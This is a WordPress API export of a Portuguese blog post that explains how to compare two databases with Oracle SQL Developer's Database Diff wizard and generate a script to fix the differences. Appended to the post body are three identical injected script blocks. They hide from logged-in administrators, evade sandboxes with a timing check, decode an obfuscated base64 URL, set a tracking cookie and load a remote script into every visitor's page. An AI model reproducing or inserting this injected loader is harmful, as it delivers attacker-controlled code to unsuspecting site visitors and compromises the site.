{"id":3649,"date":"2012-10-25T18:39:23","date_gmt":"2012-10-25T20:39:23","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3649"},"modified":"2025-10-26T22:34:57","modified_gmt":"2025-10-27T01:34:57","slug":"realizar-diff-entre-base-de-dados-no-oracle-sql-developer","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/10\/25\/realizar-diff-entre-base-de-dados-no-oracle-sql-developer\/","title":{"rendered":"Realizar diff entre base de dados no Oracle SQL Developer"},"content":{"rendered":"<p style=\"text-align: justify;\">Quando trabalhamos com equipes\u00a0distribu\u00eddas\u00a0\u00e9 comum termos c\u00f3pias de bases de dados em locais diferentes e para ambientes diferentes. Em alguns casos n\u00e3o s\u00e3o utilizadas ferramentas de monitora\u00e7\u00e3o de altera\u00e7\u00e3o de base e confiar na comunica\u00e7\u00e3o da equipe nem sempre \u00e9 uma boa pr\u00e1tica. Nesses casos, para resolver situa\u00e7\u00f5es no qual algu\u00e9m altera uma base e n\u00e3o notifica o restante da equipe ou para migra\u00e7\u00e3o dessas altera\u00e7\u00f5es entre ambientes diferentes, o Oracle SQL Developer tem um recurso chamado Database Diff.<\/p>\n<p style=\"text-align: justify;\">Caso voc\u00ea n\u00e3o tenha o Oracle SQL Developer, baixe do <a title=\"Oracle SQL Developer\" href=\"http:\/\/www.oracle.com\/technetwork\/developer-tools\/sql-developer\/downloads\/index.html\" target=\"_blank\" rel=\"noopener\">site da Oracle<\/a> e instale. Execute e crie duas conex\u00f5es: uma da base de origem e outra da de destino. Selecione Tools, Database Diff. Ir\u00e1 abrir o Diff Wizard.<\/p>\n<figure id=\"attachment_3650\" aria-describedby=\"caption-attachment-3650\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffWizard.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-3650  \" title=\"Diff Wizard\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffWizard-300x237.png\" alt=\"Diff Wizard\" width=\"300\" height=\"237\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffWizard-300x237.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffWizard.png 642w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-3650\" class=\"wp-caption-text\">Diff Wizard<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Escolhas as op\u00e7\u00f5es e clique em Next. Clique em Lookup para buscar os objetos na base de origem, adicione o que voc\u00ea quer e clique em Next. Verifique o sum\u00e1rio e clique em Finish.<\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s isso \u00e9 s\u00f3 aguardar a compara\u00e7\u00e3o.<\/p>\n<figure id=\"attachment_3651\" aria-describedby=\"caption-attachment-3651\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffReport.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-3651  \" title=\"Diff Report\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffReport-300x185.png\" alt=\"Diff Report\" width=\"300\" height=\"185\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffReport-300x185.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/10\/DiffReport.png 958w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-3651\" class=\"wp-caption-text\">Diff Report<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Generate Script. Escolha o caminho que queira salvar e clique em Apply. Se quiser, execute o script para corrigir as diferen\u00e7as.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quando trabalhamos com equipes\u00a0distribu\u00eddas\u00a0\u00e9 comum termos c\u00f3pias de bases de dados em locais diferentes e para ambientes diferentes. Em alguns casos n\u00e3o s\u00e3o utilizadas ferramentas de monitora\u00e7\u00e3o de altera\u00e7\u00e3o de base e confiar na comunica\u00e7\u00e3o da equipe nem sempre \u00e9 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/10\/25\/realizar-diff-entre-base-de-dados-no-oracle-sql-developer\/\">Continue lendo  <span class=\"screen-reader-text\">  Realizar diff entre base de dados no Oracle SQL Developer<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,71],"tags":[],"class_list":["post-3649","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-oracle-base-de-dados"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3649","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3649"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3649\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3649"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3649"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3649"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}